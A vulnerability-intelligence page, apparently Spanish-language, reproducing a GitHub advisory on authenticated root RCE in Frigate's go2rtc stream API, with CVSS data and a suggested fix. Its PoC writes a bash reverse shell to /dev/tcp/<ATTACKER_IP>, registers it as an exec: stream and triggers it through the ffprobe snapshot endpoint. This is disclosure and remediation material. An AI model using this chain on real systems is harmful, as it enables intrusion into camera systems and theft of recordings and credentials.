llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · frigate

GHSA-WWWW-5H25-JF98

Authenticated Admin Can Achieve RCE via go2rtc Stream API — exec: Filter Not Enforced at API Layer

Texto original en inglés · Ver en español

Parche disponible
Descargar PNG JSON
CVSS 3.1
9.1
Crítica
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versión>=0.17.2
Exposición146 dDesde la divulgación, 28 jun 2026, 7:16 a. m.
Detección143 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir de cerca
Monitorear y programar la remediación
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico total. Hay versiones corregidas disponibles.
Agenda el parche antes del almuerzo, ¿sí?La próxima reunión de cambios es tuya. Llévala.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
28 jun 26
18 nov 26
21 nov 26
28 jun 26
4 ago 26
9 sept 26
16 oct 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-WWWW-5H25-JF98 divulgada · CVSS 9.1 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
There is no indication that Frigate's built in authentication has been bypassed. This vulnerability is only exploitable by an administrator or users who have exposed their Frigate install to the open internet with no authentication which allows anyone full administrative control.

### Summary
Similar to GHSA-4c97-5jmr-8f6x https://github.com/blakeblackshear/frigate/security/advisories/GHSA-4c97-5jmr-8f6x, Frigate's `PUT /api/go2rtc/streams/{name}` endpoint forwards the src query parameter directly to go2rtc's internal API without applying the exec: source restriction that exists in the config file pipeline. An authenticated admin can exploit this to register an arbitrary system command as a go2rtc stream source, then trigger its execution using the `GET
/api/ffprobe/snapshot` endpoint — achieving remote code execution as root inside the container in two HTTP requests.

### Details
In the previous fix, Frigate applies an exec: protocol filter in docker/main/rootfs/usr/local/go2rtc/create_config.py to prevent arbitrary commands from being registered as go2rtc stream sources at startup:

  def is_restricted_source(stream_source: str) -> bool:
      return stream_source.strip().startswith(("echo:", "expr:", "exec:"))

  if not ALLOW_ARBITRARY_EXEC and is_restricted_source(formatted_stream):
      del go2rtc_config["streams"][name]
      continue

This filter is only evaluated during the config.yml → go2rtc.yaml conversion that runs at startup. The `go2rtc_add_stream()` function in frigate/api/camera.py (~line 121) exposes a separate code path to the same go2rtc stream registration API, but never calls `is_restricted_source()`:

  @router.put("/go2rtc/streams/{stream_name}", dependencies=[Depends(require_role(["admin"]))])
  def go2rtc_add_stream(request: Request, stream_name: str, src: str = ""):
      params = {"name": stream_name}
      if src:
          params["src"] = substitute_frigate_vars(src)  # no exec: check
      r = requests.put("http://127.0.0.1:1984/api/streams", params=params, timeout=10)

go2rtc defers execution of exec: sources until a consumer connects to the stream. The ffprobe_snapshot() function in frigate/api/camera.py (~line 329) provides the trigger — it passes the url parameter directly to ffmpeg without validation:

  @router.get("/ffprobe/snapshot", dependencies=[Depends(require_role(["admin"]))])
  def ffprobe_snapshot(request: Request, url: str = "", timeout: int = 10):
      image_data, error = run_ffmpeg_snapshot(config.ffmpeg, url, "mjpeg", timeout=timeout)

By supplying go2rtc's internal HTTP endpoint (http://127.0.0.1:1984/api/stream.mp4?src=revshell) as the url parameter, ffmpeg connects to go2rtc as a consumer, which causes go2rtc to start the registered exec: source and execute the payload.

### PoC
Environment: Frigate stable, deployed via the official Docker image with default configuration.

#### Step 1 — Obtain an admin session
Log in through the Frigate UI or API and capture the frigate_token JWT cookie.

Step 2 — Write the payload to the container
  docker exec frigate bash -c 'printf "#!/bin/bash\nbash -i >& /dev/tcp/<ATTACKER_IP>/1881 0>&1\n" > /tmp/rev.sh && chmod +x /tmp/rev.sh'
Step 3 — Register the exec: stream source
  PUT /api/go2rtc/streams/revshell?src=exec:/tmp/rev.sh HTTP/1.1
  Host: <frigate_host>
  Cookie: frigate_token=<JWT>
  Content-Length: 0

Expected response:

  {"success": true, "message": "Stream added successfully"}
Step 4 — Start a listener on the attacker machine
  nc -nvlp 1881
Step 5 — Trigger execution
  GET /api/ffprobe/snapshot?url=http%3A%2F%2F127.0.0.1%3A1984%2Fapi%2Fstream.mp4%3Fsrc%3Drevshell&timeout=30 HTTP/1.1
  Host: <frigate_host>
  Cookie: frigate_token=<JWT>

Expected response (snapshot fails, payload has already executed):

  {"success": false, "message": "Failed to capture snapshot"}

Result:

  Connection from 192.168.1.103:54305
  root@ea26f7f199b3:/# id
  uid=0(root) gid=0(root) groups=0(root)_

### Impact
This is an authenticated remote code execution vulnerability. Any user holding a valid admin session can execute arbitrary operating system commands as root inside the Frigate container.

Frigate's recommended deployment configuration sets privileged: true and mounts host paths, making container escape a realistic follow-on step. A compromised instance gives an attacker full access to camera recordings, credentials stored in the configuration, and network resources reachable from the container.

### Suggested fix
Apply the existing is_restricted_source() check inside go2rtc_add_stream() before forwarding the src parameter to go2rtc:

  if src and is_restricted_source(src):
      raise HTTPException(status_code=400, detail="Restricted stream source type")

This closes the gap between the config pipeline and the API layer, ensuring both code paths enforce the same restriction.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:H
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:C
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
7.3/ 10Alto
Vector 7.3 (fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida
frigate≥ 0.13.0 < >=0.17.2
>=0.17.2
0.13.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
PyPIfrigate
Corregida >=0.17.2 — —
Versiones corregidas>=0.17.2
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/blakeblackshear/frigate/security/advisories/GHSA-wwww-5h25-jf98

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.